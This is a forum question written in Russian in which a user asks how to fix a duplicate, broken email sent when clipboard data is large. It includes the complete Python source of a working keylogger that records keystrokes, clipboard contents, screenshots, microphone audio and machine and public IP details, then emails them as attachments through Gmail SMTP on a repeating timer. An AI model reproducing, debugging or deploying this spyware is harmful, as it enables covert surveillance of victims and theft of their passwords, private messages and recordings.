В настоящее время я работаю над проектом Keylogger. Скрипт отправляет сообщения P C Info, ClipBoard, нажатия клавиш и logs.txt, logs.png, logs.wav в качестве вложения в сообщение. Скрипт отправляет письмо просто отлично. но когда данные буфера обмена большие (в этом случае буфер обмена содержит весь исходный код проекта кейлогера), электронная почта получена .. Но наряду с электронной почтой приходит еще одна электронная почта, которая отображает .. Проверьте изображение.
Как мне исправить эту ошибку?
Мой код ()
from pynput.keyboard import Listener
import os, smtplib, threading, socket, requests, platform, win32clipboard, sounddevice
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from PIL import ImageGrab
from scipy.io.wavfile import write
class KeyLogger:
def __init__(self, time, email, password):
self.log = "KeyStrokes : "
self.mic_interval = 10
self.interval = time
self.email = email
self.password = password
self.files = ["logs.txt", "logs.png", "logs.wav"]
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self,key):
try:
current_key = str(key.char)
except AttributeError:
current_key = " [" + str(key) + "] "
self.append_to_log(current_key)
def get_pc_info(self):
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
try:
ip = requests.get("http://ipecho.net/plain").content.decode()
public_ip = f"The Public IP is {ip}."
except Exception:
public_ip = "Couldn't get IP Address."
processor = "Processor : " + (platform.processor()) + "\n"
op_system = "OS : " + (platform.system()) + " " + (platform.version()) + "\n"
machine = "Machine : " + (platform.machine()) + "\n"
host = "Hostname : " + hostname + "\n"
ip_addr = "Public IP : " + public_ip + " " + "Private IP : " + local_ip + "\n"
details = processor + op_system + machine + host + ip_addr + "\n"
return details
def get_clipboard(self):
try:
win32clipboard.OpenClipboard()
clipboard_data = "ClipBoard Data : " + win32clipboard.GetClipboardData() + "\n" + " \n"
win32clipboard.CloseClipboard()
except Exception:
clipboard_data = "Couldn't get ClipBoard Data.\n" + " \n"
return clipboard_data
def record_mic(self):
sf = 44100
mic_interval = self.mic_interval
audio = sounddevice.rec(int(mic_interval * sf), samplerate=sf, channels=2)
sounddevice.wait()
write("logs.wav", sf, audio)
def capture_screen(self):
image = ImageGrab.grab()
image.save('logs.png')
def send_mail(self, email, password, message):
msg = MIMEMultipart()
msg['From'] = email
msg['To'] = email
msg['Subject'] = "Keylogs Recieved."
body = message
msg.attach(MIMEText(body, 'plain'))
for f in self.files:
part = MIMEBase('application', 'octet-stream')
part.set_payload( open(f,"rb").read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % os.path.basename(f))
msg.attach(part)
smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login(email, password)
text = msg.as_string()
smtp.sendmail(email, email, text)
smtp.quit()
def report(self):
self.record_mic()
machine_details = self.get_pc_info()
clipboard = self.get_clipboard()
logs = machine_details + clipboard + self.log
self.capture_screen()
with open('logs.txt', 'w') as log:
log.write(logs)
self.send_mail(self.email, self.password, logs)
self.log = "KeyStrokes : "
timer = threading.Timer(self.interval, self.report)
timer.start()
def launch(self):
listener = Listener(on_press=self.process_key_press)
with listener:
self.report()
listener.join()
Заранее спасибо.